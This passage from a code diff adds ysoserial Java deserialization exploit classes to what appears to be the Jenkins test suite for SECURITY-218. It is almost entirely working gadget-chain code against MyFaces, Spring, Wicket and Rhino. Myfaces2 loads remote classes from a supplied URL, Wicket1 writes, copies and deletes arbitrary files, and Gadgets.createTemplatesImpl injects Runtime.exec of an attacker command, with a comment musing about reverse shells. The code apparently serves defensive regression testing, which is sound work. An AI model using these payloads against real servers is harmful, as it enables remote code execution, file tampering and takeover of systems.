,
false
);
Method
getSlot
=
ScriptableObject
.
class
.
getDeclaredMethod
(
"getSlot"
,
String
.
class
,
int
.
class
,
int
.
class
);
getSlot
.
setAccessible
(
true
);
Object
slot
=
getSlot
.
invoke
(
idScriptableObject
,
"name"
,
0
,
1
);
Field
getter
=
slot
.
getClass
().
getDeclaredField
(
"getter"
);
getter
.
setAccessible
(
true
);
Class
memberboxClass
=
Class
.
forName
(
"org.mozilla.javascript.MemberBox"
);
Constructor
memberboxClassConstructor
=
memberboxClass
.
getDeclaredConstructor
(
Method
.
class
);
memberboxClassConstructor
.
setAccessible
(
true
);
Object
memberboxes
=
memberboxClassConstructor
.
newInstance
(
enterMethod
);
getter
.
set
(
slot
,
memberboxes
);
NativeJavaObject
nativeObject
=
new
NativeJavaObject
(
scriptableObject
,
Gadgets
.
createTemplatesImpl
(
command
),
TemplatesImpl
.
class
);
idScriptableObject
.
setPrototype
(
nativeObject
);
BadAttributeValueExpException
badAttributeValueExpException
=
new
BadAttributeValueExpException
(
null
);
Field
valField
=
badAttributeValueExpException
.
getClass
().
getDeclaredField
(
"val"
);
valField
.
setAccessible
(
true
);
valField
.
set
(
badAttributeValueExpException
,
idScriptableObject
);
return
badAttributeValueExpException
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
MozillaRhino1
.
class
,
args
);
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces1.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
javax.el.ELContext
;
import
javax.el.ExpressionFactory
;
import
javax.el.ValueExpression
;
import
javax.servlet.ServletContext
;
import
javax.servlet.ServletRequest
;
import
javax.servlet.ServletResponse
;
import
org.apache.myfaces.context.servlet.FacesContextImpl
;
import
org.apache.myfaces.context.servlet.FacesContextImplBase
;
import
org.apache.myfaces.el.CompositeELResolver
;
import
org.apache.myfaces.el.unified.FacesELContext
;
import
org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - an EL expression to execute
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest
(
skip
=
"Requires running MyFaces, no direct execution"
)
public
class
Myfaces1
implements
ObjectPayload
<
Object
>,
DynamicDependencies
{
public
Object
getObject
(
String
command
)
throws
Exception
{
return
makeExpressionPayload
(
command
);
}
public
static
String
[]
getDependencies
()
{
if
(
System
.
getProperty
(
"el"
)
==
null
||
"apache"
.
equals
(
System
.
getProperty
(
"el"
))
)
{
return
new
String
[]
{
"org.apache.myfaces.core:myfaces-impl:2.2.9"
,
"org.apache.myfaces.core:myfaces-api:2.2.9"
,
"org.mortbay.jasper:apache-el:8.0.27"
,
"javax.servlet:javax.servlet-api:3.1.0"
,
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19"
,
"org.hamcrest:hamcrest-core:1.1"
,
"org.objenesis:objenesis:2.1"
};
}
else
if
(
"juel"
.
equals
(
System
.
getProperty
(
"el"
))
)
{
return
new
String
[]
{
"org.apache.myfaces.core:myfaces-impl:2.2.9"
,
"org.apache.myfaces.core:myfaces-api:2.2.9"
,
"de.odysseus.juel:juel-impl:2.2.7"
,
"de.odysseus.juel:juel-api:2.2.7"
,
"javax.servlet:javax.servlet-api:3.1.0"
,
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19"
,
"org.hamcrest:hamcrest-core:1.1"
,
"org.objenesis:objenesis:2.1"
};
}
throw
new
IllegalArgumentException
(
"Invalid el type "
+
System
.
getProperty
(
"el"
));
}
public
static
Object
makeExpressionPayload
(
String
expr
)
throws
IllegalArgumentException
,
IllegalAccessException
,
Exception
{
FacesContextImpl
fc
=
new
FacesContextImpl
((
ServletContext
)
null
,
(
ServletRequest
)
null
,
(
ServletResponse
)
null
);
ELContext
elContext
=
new
FacesELContext
(
new
CompositeELResolver
(),
fc
);
Reflections
.
getField
(
FacesContextImplBase
.
class
,
"_elContext"
).
set
(
fc
,
elContext
);
ExpressionFactory
expressionFactory
=
ExpressionFactory
.
newInstance
();
ValueExpression
ve1
=
expressionFactory
.
createValueExpression
(
elContext
,
expr
,
Object
.
class
);
ValueExpressionMethodExpression
e
=
new
ValueExpressionMethodExpression
(
ve1
);
ValueExpression
ve2
=
expressionFactory
.
createValueExpression
(
elContext
,
"${true}"
,
Object
.
class
);
ValueExpressionMethodExpression
e2
=
new
ValueExpressionMethodExpression
(
ve2
);
return
Gadgets
.
makeMap
(
e2
,
e
);
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
Myfaces1
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Myfaces2.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
/**
*
* ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream)
*
* Arguments:
* - base_url:classname
*
* Yields:
* - Instantiation of remotely loaded class
*
* Requires:
* - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
*
* @author mbechler
*/
@PayloadTest
(
harness
=
"ysoserial.payloads.MyfacesTest"
)
public
class
Myfaces2
implements
ObjectPayload
<
Object
>,
DynamicDependencies
{
public
static
String
[]
getDependencies
()
{
return
Myfaces1
.
getDependencies
();
}
public
Object
getObject
(
String
command
)
throws
Exception
{
int
sep
=
command
.
lastIndexOf
(
':'
);
if
(
sep
<
0
)
{
throw
new
IllegalArgumentException
(
"Command format is: <base_url>:<classname>"
);
}
String
url
=
command
.
substring
(
0
,
sep
);
String
className
=
command
.
substring
(
sep
+
1
);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
String
expr
=
"${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"
;
// if we add fewer than the actual classloaders we end up with a null entry
for
(
int
i
=
0
;
i
<
100
;
i
++
)
{
expr
+=
"${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('"
+
url
+
"').toURL())}"
;
}
expr
+=
"${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')"
+
".toArray(request.getClass().getClassLoader().getURLs())).loadClass('"
+
className
+
"').newInstance()}"
;
return
Myfaces1
.
makeExpressionPayload
(
expr
);
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
Myfaces2
.
class
,
args
);
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/ObjectPayload.java
浏览文件 @
8395b78c
...
...
@@ -23,10 +23,98 @@
*/
package
jenkins.security.security218.ysoserial.payloads
;
import
java.lang.reflect.Modifier
;
import
java.util.Iterator
;
import
java.util.Set
;
import
org.reflections.Reflections
;
import
jenkins.security.security218.ysoserial.GeneratePayload
;
public
interface
ObjectPayload
<
T
>
{
/*
* return armed payload object to be serialized that will execute specified
* command on deserialization
*/
public
T
getObject
(
String
command
)
throws
Exception
;
public
static
class
Utils
{
// get payload classes by classpath scanning
public
static
Set
<
Class
<?
extends
ObjectPayload
>>
getPayloadClasses
()
{
final
Reflections
reflections
=
new
Reflections
(
ObjectPayload
.
class
.
getPackage
().
getName
());
final
Set
<
Class
<?
extends
ObjectPayload
>>
payloadTypes
=
reflections
.
getSubTypesOf
(
ObjectPayload
.
class
);
for
(
Iterator
<
Class
<?
extends
ObjectPayload
>>
iterator
=
payloadTypes
.
iterator
();
iterator
.
hasNext
();
)
{
Class
<?
extends
ObjectPayload
>
pc
=
iterator
.
next
();
if
(
pc
.
isInterface
()
||
Modifier
.
isAbstract
(
pc
.
getModifiers
())
)
{
iterator
.
remove
();
}
}
return
payloadTypes
;
}
@SuppressWarnings
(
"unchecked"
)
public
static
Class
<?
extends
ObjectPayload
>
getPayloadClass
(
final
String
className
)
{
Class
<?
extends
ObjectPayload
>
clazz
=
null
;
try
{
clazz
=
(
Class
<?
extends
ObjectPayload
>)
Class
.
forName
(
className
);
}
catch
(
Exception
e1
)
{}
if
(
clazz
==
null
)
{
try
{
return
clazz
=
(
Class
<?
extends
ObjectPayload
>)
Class
.
forName
(
GeneratePayload
.
class
.
getPackage
().
getName
()
+
".payloads."
+
className
);
}
catch
(
Exception
e2
)
{}
}
if
(
clazz
!=
null
&&
!
ObjectPayload
.
class
.
isAssignableFrom
(
clazz
)
)
{
clazz
=
null
;
}
return
clazz
;
}
public
static
Object
makePayloadObject
(
String
payloadType
,
String
payloadArg
)
{
final
Class
<?
extends
ObjectPayload
>
payloadClass
=
getPayloadClass
(
payloadType
);
if
(
payloadClass
==
null
||
!
ObjectPayload
.
class
.
isAssignableFrom
(
payloadClass
)
)
{
throw
new
IllegalArgumentException
(
"Invalid payload type '"
+
payloadType
+
"'"
);
}
final
Object
payloadObject
;
try
{
final
ObjectPayload
payload
=
payloadClass
.
newInstance
();
payloadObject
=
payload
.
getObject
(
payloadArg
);
}
catch
(
Exception
e
)
{
throw
new
IllegalArgumentException
(
"Failed to construct payload"
,
e
);
}
return
payloadObject
;
}
@SuppressWarnings
(
"unchecked"
)
public
static
void
releasePayload
(
ObjectPayload
payload
,
Object
object
)
throws
Exception
{
if
(
payload
instanceof
ReleaseableObjectPayload
)
{
(
(
ReleaseableObjectPayload
)
payload
).
release
(
object
);
}
}
public
static
void
releasePayload
(
String
payloadType
,
Object
payloadObject
)
{
final
Class
<?
extends
ObjectPayload
>
payloadClass
=
getPayloadClass
(
payloadType
);
if
(
payloadClass
==
null
||
!
ObjectPayload
.
class
.
isAssignableFrom
(
payloadClass
)
)
{
throw
new
IllegalArgumentException
(
"Invalid payload type '"
+
payloadType
+
"'"
);
}
try
{
final
ObjectPayload
payload
=
payloadClass
.
newInstance
();
releasePayload
(
payload
,
payloadObject
);
}
catch
(
Exception
e
)
{
e
.
printStackTrace
();
}
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/ReleaseableObjectPayload.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
/**
* @author mbechler
*
*/
public
interface
ReleaseableObjectPayload
<
T
>
extends
ObjectPayload
<
T
>
{
void
release
(
T
obj
)
throws
Exception
;
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Spring2.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
static
java
.
lang
.
Class
.
forName
;
import
java.lang.reflect.InvocationHandler
;
import
java.lang.reflect.Type
;
import
javax.xml.transform.Templates
;
import
org.springframework.aop.framework.AdvisedSupport
;
import
org.springframework.aop.target.SingletonTargetSource
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest
;
import
jenkins.security.security218.ysoserial.payloads.util.Gadgets
;
import
jenkins.security.security218.ysoserial.payloads.util.JavaVersion
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/**
*
* Just a PoC to proof that the ObjectFactory stuff is not the real problem.
*
* Gadget chain:
* TemplatesImpl.newTransformer()
* Method.invoke(Object, Object...)
* AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.newTransformer()
* Method.invoke(Object, Object...)
* SerializableTypeWrapper$MethodInvokeTypeProvider.readObject(ObjectInputStream)
*
* @author mbechler
*/
@Dependencies
(
{
"org.springframework:spring-core:4.1.4.RELEASE"
,
"org.springframework:spring-aop:4.1.4.RELEASE"
,
// test deps
"aopalliance:aopalliance:1.0"
,
"commons-logging:commons-logging:1.2"
}
)
@PayloadTest
(
precondition
=
"isApplicableJavaVersion"
)
public
class
Spring2
extends
PayloadRunner
implements
ObjectPayload
<
Object
>
{
public
Object
getObject
(
final
String
command
)
throws
Exception
{
final
Object
templates
=
Gadgets
.
createTemplatesImpl
(
command
);
AdvisedSupport
as
=
new
AdvisedSupport
();
as
.
setTargetSource
(
new
SingletonTargetSource
(
templates
));
final
Type
typeTemplatesProxy
=
Gadgets
.
createProxy
(
(
InvocationHandler
)
Reflections
.
getFirstCtor
(
"org.springframework.aop.framework.JdkDynamicAopProxy"
).
newInstance
(
as
),
Type
.
class
,
Templates
.
class
);
final
Object
typeProviderProxy
=
Gadgets
.
createMemoitizedProxy
(
Gadgets
.
createMap
(
"getType"
,
typeTemplatesProxy
),
forName
(
"org.springframework.core.SerializableTypeWrapper$TypeProvider"
));
Object
mitp
=
Reflections
.
createWithoutConstructor
(
forName
(
"org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"
));
Reflections
.
setFieldValue
(
mitp
,
"provider"
,
typeProviderProxy
);
Reflections
.
setFieldValue
(
mitp
,
"methodName"
,
"newTransformer"
);
return
mitp
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
Spring2
.
class
,
args
);
}
public
static
boolean
isApplicableJavaVersion
()
{
return
JavaVersion
.
isAnnInvHUniversalMethodImpl
();
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/Wicket1.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads
;
import
java.io.File
;
import
java.io.IOException
;
import
java.io.OutputStream
;
import
java.util.Arrays
;
import
org.apache.commons.codec.binary.Base64
;
import
org.apache.wicket.util.upload.DiskFileItem
;
import
org.apache.wicket.util.io.DeferredFileOutputStream
;
import
org.apache.wicket.util.io.ThresholdingOutputStream
;
import
jenkins.security.security218.ysoserial.payloads.annotation.Dependencies
;
import
jenkins.security.security218.ysoserial.payloads.util.PayloadRunner
;
import
jenkins.security.security218.ysoserial.payloads.util.Reflections
;
/**
* This gadget is almost identical to FileUpload1 since it appears
* that Apache Wicket copied a version of Apache Commons DiskFileItem
* prior to Pierre Ernst reporting CVE-2013-2186 (NULL byte attack). That
* means that if the target is running less than Oracle Java 7 update 40
* then the NULL byte attack is viable. Otherwise, copy and move attacks
* always work.
*
* This attack is valid for the 1.x and 6.x lines of Apache Wicket but
* was fixed in 1.5.16 and 6.24.0 (released July 2016).
*
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Example:
* Wicket1 "write;/tmp;blue lobster"
*
* Result:
* $ ls -l /tmp/
* -rw-rw-r-- 1 albino_lobster albino_lobster 12 Jul 25 14:10 upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* $ cat /tmp/upload_3805815b_2d50_4e00_9dae_a854d5a0e614_479431761.tmp
* blue lobster
*/
@Dependencies
({
"wicket-util:wicket-util:6.23"
})
public
class
Wicket1
implements
ReleaseableObjectPayload
<
DiskFileItem
>
{
public
DiskFileItem
getObject
(
String
command
)
throws
Exception
{
String
[]
parts
=
command
.
split
(
";"
);
if
(
parts
.
length
!=
3
)
{
throw
new
IllegalArgumentException
(
"Bad command format."
);
}
if
(
"copyAndDelete"
.
equals
(
parts
[
0
]))
{
return
copyAndDelete
(
parts
[
1
],
parts
[
2
]);
}
else
if
(
"write"
.
equals
(
parts
[
0
]))
{
return
write
(
parts
[
1
],
parts
[
2
].
getBytes
(
"US-ASCII"
));
}
else
if
(
"writeB64"
.
equals
(
parts
[
0
])
)
{
return
write
(
parts
[
1
],
Base64
.
decodeBase64
(
parts
[
2
]));
}
else
if
(
"writeOld"
.
equals
(
parts
[
0
])
)
{
return
writeOldJRE
(
parts
[
1
],
parts
[
2
].
getBytes
(
"US-ASCII"
));
}
else
if
(
"writeOldB64"
.
equals
(
parts
[
0
])
)
{
return
writeOldJRE
(
parts
[
1
],
Base64
.
decodeBase64
(
parts
[
2
]));
}
throw
new
IllegalArgumentException
(
"Unsupported command "
+
command
+
" "
+
Arrays
.
toString
(
parts
));
}
public
void
release
(
DiskFileItem
obj
)
throws
Exception
{
}
private
static
DiskFileItem
copyAndDelete
(
String
copyAndDelete
,
String
copyTo
)
throws
IOException
,
Exception
{
return
makePayload
(
0
,
copyTo
,
copyAndDelete
,
new
byte
[
1
]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private
static
DiskFileItem
write
(
String
dir
,
byte
[]
data
)
throws
IOException
,
Exception
{
return
makePayload
(
data
.
length
+
1
,
dir
,
dir
+
"/whatever"
,
data
);
}
// writes data to an arbitrary file
private
static
DiskFileItem
writeOldJRE
(
String
file
,
byte
[]
data
)
throws
IOException
,
Exception
{
return
makePayload
(
data
.
length
+
1
,
file
+
"\0"
,
file
,
data
);
}
private
static
DiskFileItem
makePayload
(
int
thresh
,
String
repoPath
,
String
filePath
,
byte
[]
data
)
throws
IOException
,
Exception
{
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File
repository
=
new
File
(
repoPath
);
DiskFileItem
diskFileItem
=
new
DiskFileItem
(
"test"
,
"application/octet-stream"
,
false
,
"test"
,
100000
,
repository
,
null
);
File
outputFile
=
new
File
(
filePath
);
DeferredFileOutputStream
dfos
=
new
DeferredFileOutputStream
(
thresh
,
outputFile
);
OutputStream
os
=
(
OutputStream
)
Reflections
.
getFieldValue
(
dfos
,
"memoryOutputStream"
);
os
.
write
(
data
);
Reflections
.
getField
(
ThresholdingOutputStream
.
class
,
"written"
).
set
(
dfos
,
data
.
length
);
Reflections
.
setFieldValue
(
diskFileItem
,
"dfos"
,
dfos
);
Reflections
.
setFieldValue
(
diskFileItem
,
"sizeThreshold"
,
0
);
return
diskFileItem
;
}
public
static
void
main
(
final
String
[]
args
)
throws
Exception
{
PayloadRunner
.
run
(
FileUpload1
.
class
,
args
);
}
}
\ No newline at end of file
test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/Dependencies.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads.annotation
;
import
java.lang.annotation.ElementType
;
import
java.lang.annotation.Retention
;
import
java.lang.annotation.RetentionPolicy
;
import
java.lang.annotation.Target
;
import
java.lang.reflect.AnnotatedElement
;
@Target
(
ElementType
.
TYPE
)
@Retention
(
RetentionPolicy
.
RUNTIME
)
public
@interface
Dependencies
{
String
[]
value
()
default
{};
public
static
class
Utils
{
public
static
String
[]
getDependencies
(
AnnotatedElement
annotated
)
{
Dependencies
deps
=
annotated
.
getAnnotation
(
Dependencies
.
class
);
if
(
deps
!=
null
&&
deps
.
value
()
!=
null
)
{
return
deps
.
value
();
}
else
{
return
new
String
[
0
];
}
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads.annotation
;
import
java.lang.annotation.Retention
;
import
java.lang.annotation.RetentionPolicy
;
/**
* @author mbechler
*
*/
@Retention
(
RetentionPolicy
.
RUNTIME
)
public
@interface
PayloadTest
{
String
skip
()
default
""
;
String
precondition
()
default
""
;
String
harness
()
default
""
;
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/ClassFiles.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads.util
;
import
java.io.ByteArrayOutputStream
;
import
java.io.IOException
;
import
java.io.InputStream
;
public
class
ClassFiles
{
public
static
String
classAsFile
(
final
Class
<?>
clazz
)
{
return
classAsFile
(
clazz
,
true
);
}
public
static
String
classAsFile
(
final
Class
<?>
clazz
,
boolean
suffix
)
{
String
str
;
if
(
clazz
.
getEnclosingClass
()
==
null
)
{
str
=
clazz
.
getName
().
replace
(
"."
,
"/"
);
}
else
{
str
=
classAsFile
(
clazz
.
getEnclosingClass
(),
false
)
+
"$"
+
clazz
.
getSimpleName
();
}
if
(
suffix
)
{
str
+=
".class"
;
}
return
str
;
}
public
static
byte
[]
classAsBytes
(
final
Class
<?>
clazz
)
{
try
{
final
byte
[]
buffer
=
new
byte
[
1024
];
final
String
file
=
classAsFile
(
clazz
);
final
InputStream
in
=
ClassFiles
.
class
.
getClassLoader
().
getResourceAsStream
(
file
);
if
(
in
==
null
)
{
throw
new
IOException
(
"couldn't find '"
+
file
+
"'"
);
}
final
ByteArrayOutputStream
out
=
new
ByteArrayOutputStream
();
int
len
;
while
((
len
=
in
.
read
(
buffer
))
!=
-
1
)
{
out
.
write
(
buffer
,
0
,
len
);
}
return
out
.
toByteArray
();
}
catch
(
IOException
e
)
{
throw
new
RuntimeException
(
e
);
}
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/Gadgets.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads.util
;
import
static
com
.
sun
.
org
.
apache
.
xalan
.
internal
.
xsltc
.
trax
.
TemplatesImpl
.
DESERIALIZE_TRANSLET
;
import
java.io.Serializable
;
import
java.lang.reflect.Array
;
import
java.lang.reflect.Constructor
;
import
java.lang.reflect.InvocationHandler
;
import
java.lang.reflect.InvocationTargetException
;
import
java.lang.reflect.Proxy
;
import
java.util.HashMap
;
import
java.util.Map
;
import
javassist.ClassClassPath
;
import
javassist.ClassPool
;
import
javassist.CtClass
;
import
com.sun.org.apache.xalan.internal.xsltc.DOM
;
import
com.sun.org.apache.xalan.internal.xsltc.TransletException
;
import
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
;
import
com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl
;
import
com.sun.org.apache.xml.internal.dtm.DTMAxisIterator
;
import
com.sun.org.apache.xml.internal.serializer.SerializationHandler
;
/*
* utility generator functions for common jdk-only gadgets
*/
@SuppressWarnings
(
{
"restriction"
,
"rawtypes"
,
"unchecked"
}
)
public
class
Gadgets
{
static
{
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System
.
setProperty
(
DESERIALIZE_TRANSLET
,
"true"
);
// for RMI remote loading
System
.
setProperty
(
"java.rmi.server.useCodebaseOnly"
,
"false"
);
}
public
static
final
String
ANN_INV_HANDLER_CLASS
=
"sun.reflect.annotation.AnnotationInvocationHandler"
;
public
static
class
StubTransletPayload
extends
AbstractTranslet
implements
Serializable
{
private
static
final
long
serialVersionUID
=
-
5971610431559700674L
;
public
void
transform
(
DOM
document
,
SerializationHandler
[]
handlers
)
throws
TransletException
{}
@Override
public
void
transform
(
DOM
document
,
DTMAxisIterator
iterator
,
SerializationHandler
handler
)
throws
TransletException
{}
}
// required to make TemplatesImpl happy
public
static
class
Foo
implements
Serializable
{
private
static
final
long
serialVersionUID
=
8207363842866235160L
;
}
public
static
<
T
>
T
createMemoitizedProxy
(
final
Map
<
String
,
Object
>
map
,
final
Class
<
T
>
iface
,
final
Class
<?>...
ifaces
)
throws
Exception
{
return
createProxy
(
createMemoizedInvocationHandler
(
map
),
iface
,
ifaces
);
}
public
static
InvocationHandler
createMemoizedInvocationHandler
(
final
Map
<
String
,
Object
>
map
)
throws
Exception
{
return
(
InvocationHandler
)
Reflections
.
getFirstCtor
(
ANN_INV_HANDLER_CLASS
).
newInstance
(
Override
.
class
,
map
);
}
public
static
<
T
>
T
createProxy
(
final
InvocationHandler
ih
,
final
Class
<
T
>
iface
,
final
Class
<?>...
ifaces
)
{
final
Class
<?>[]
allIfaces
=
(
Class
<?>[])
Array
.
newInstance
(
Class
.
class
,
ifaces
.
length
+
1
);
allIfaces
[
0
]
=
iface
;
if
(
ifaces
.
length
>
0
)
{
System
.
arraycopy
(
ifaces
,
0
,
allIfaces
,
1
,
ifaces
.
length
);
}
return
iface
.
cast
(
Proxy
.
newProxyInstance
(
Gadgets
.
class
.
getClassLoader
(),
allIfaces
,
ih
));
}
public
static
Map
<
String
,
Object
>
createMap
(
final
String
key
,
final
Object
val
)
{
final
Map
<
String
,
Object
>
map
=
new
HashMap
<
String
,
Object
>();
map
.
put
(
key
,
val
);
return
map
;
}
public
static
Object
createTemplatesImpl
(
final
String
command
)
throws
Exception
{
if
(
Boolean
.
parseBoolean
(
System
.
getProperty
(
"properXalan"
,
"false"
))
)
{
return
createTemplatesImpl
(
command
,
Class
.
forName
(
"org.apache.xalan.xsltc.trax.TemplatesImpl"
),
Class
.
forName
(
"org.apache.xalan.xsltc.runtime.AbstractTranslet"
),
Class
.
forName
(
"org.apache.xalan.xsltc.trax.TransformerFactoryImpl"
));
}
return
createTemplatesImpl
(
command
,
TemplatesImpl
.
class
,
AbstractTranslet
.
class
,
TransformerFactoryImpl
.
class
);
}
public
static
<
T
>
T
createTemplatesImpl
(
final
String
command
,
Class
<
T
>
tplClass
,
Class
<?>
abstTranslet
,
Class
<?>
transFactory
)
throws
Exception
{
final
T
templates
=
tplClass
.
newInstance
();
// use template gadget class
ClassPool
pool
=
ClassPool
.
getDefault
();
pool
.
insertClassPath
(
new
ClassClassPath
(
StubTransletPayload
.
class
));
pool
.
insertClassPath
(
new
ClassClassPath
(
abstTranslet
));
final
CtClass
clazz
=
pool
.
get
(
StubTransletPayload
.
class
.
getName
());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz
.
makeClassInitializer
().
insertAfter
(
"java.lang.Runtime.getRuntime().exec(\""
+
command
.
replaceAll
(
"\""
,
"\\\""
)
+
"\");"
);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz
.
setName
(
"ysoserial.Pwner"
+
System
.
nanoTime
());
CtClass
superC
=
pool
.
get
(
abstTranslet
.
getName
());
clazz
.
setSuperclass
(
superC
);
final
byte
[]
classBytes
=
clazz
.
toBytecode
();
// inject class bytes into instance
Reflections
.
setFieldValue
(
templates
,
"_bytecodes"
,
new
byte
[][]
{
classBytes
,
ClassFiles
.
classAsBytes
(
Foo
.
class
)
});
// required to make TemplatesImpl happy
Reflections
.
setFieldValue
(
templates
,
"_name"
,
"Pwnr"
);
Reflections
.
setFieldValue
(
templates
,
"_tfactory"
,
transFactory
.
newInstance
());
return
templates
;
}
public
static
HashMap
makeMap
(
Object
v1
,
Object
v2
)
throws
Exception
,
ClassNotFoundException
,
NoSuchMethodException
,
InstantiationException
,
IllegalAccessException
,
InvocationTargetException
{
HashMap
s
=
new
HashMap
();
Reflections
.
setFieldValue
(
s
,
"size"
,
2
);
Class
nodeC
;
try
{
nodeC
=
Class
.
forName
(
"java.util.HashMap$Node"
);
}
catch
(
ClassNotFoundException
e
)
{
nodeC
=
Class
.
forName
(
"java.util.HashMap$Entry"
);
}
Constructor
nodeCons
=
nodeC
.
getDeclaredConstructor
(
int
.
class
,
Object
.
class
,
Object
.
class
,
nodeC
);
nodeCons
.
setAccessible
(
true
);
Object
tbl
=
Array
.
newInstance
(
nodeC
,
2
);
Array
.
set
(
tbl
,
0
,
nodeCons
.
newInstance
(
0
,
v1
,
v1
,
null
));
Array
.
set
(
tbl
,
1
,
nodeCons
.
newInstance
(
0
,
v2
,
v2
,
null
));
Reflections
.
setFieldValue
(
s
,
"table"
,
tbl
);
return
s
;
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/JavaVersion.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads.util
;
/**
* @author mbechler
*
*/
public
class
JavaVersion
{
public
int
major
;
public
int
minor
;
public
int
update
;
public
static
JavaVersion
getLocalVersion
()
{
String
property
=
System
.
getProperties
().
getProperty
(
"java.version"
);
if
(
property
==
null
)
{
return
null
;
}
JavaVersion
v
=
new
JavaVersion
();
String
parts
[]
=
property
.
split
(
"\\.|_|-"
);
v
.
major
=
Integer
.
parseInt
(
parts
[
1
]);
v
.
minor
=
Integer
.
parseInt
(
parts
[
2
]);
v
.
update
=
Integer
.
parseInt
(
parts
[
3
]);
return
v
;
}
public
static
boolean
isAnnInvHUniversalMethodImpl
()
{
JavaVersion
v
=
JavaVersion
.
getLocalVersion
();
return
v
!=
null
&&
(
v
.
major
<
8
||
(
v
.
major
==
8
&&
v
.
update
<=
71
));
}
}
test/src/test/java/jenkins/security/security218/ysoserial/payloads/util/PayloadRunner.java
0 → 100644
浏览文件 @
8395b78c
package
jenkins.security.security218.ysoserial.payloads.util
;
import
java.util.concurrent.Callable
;
import
jenkins.security.security218.ysoserial.Deserializer
;
import
jenkins.security.security218.ysoserial.Serializer
;
import
static
jenkins
.
security
.
security218
.
ysoserial
.
Deserializer
.
deserialize
;
import
static
jenkins
.
security
.
security218
.
ysoserial
.
Serializer
.
serialize
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload
;
import
jenkins.security.security218.ysoserial.payloads.ObjectPayload.Utils
;
import
jenkins.security.security218.ysoserial.secmgr.ExecCheckingSecurityManager
;
/*
* utility class for running exploits locally from command line
*/
@SuppressWarnings
(
"unused"
)
public
class
PayloadRunner
{
public
static
void
run
(
final
Class
<?
extends
ObjectPayload
<?>>
clazz
,
final
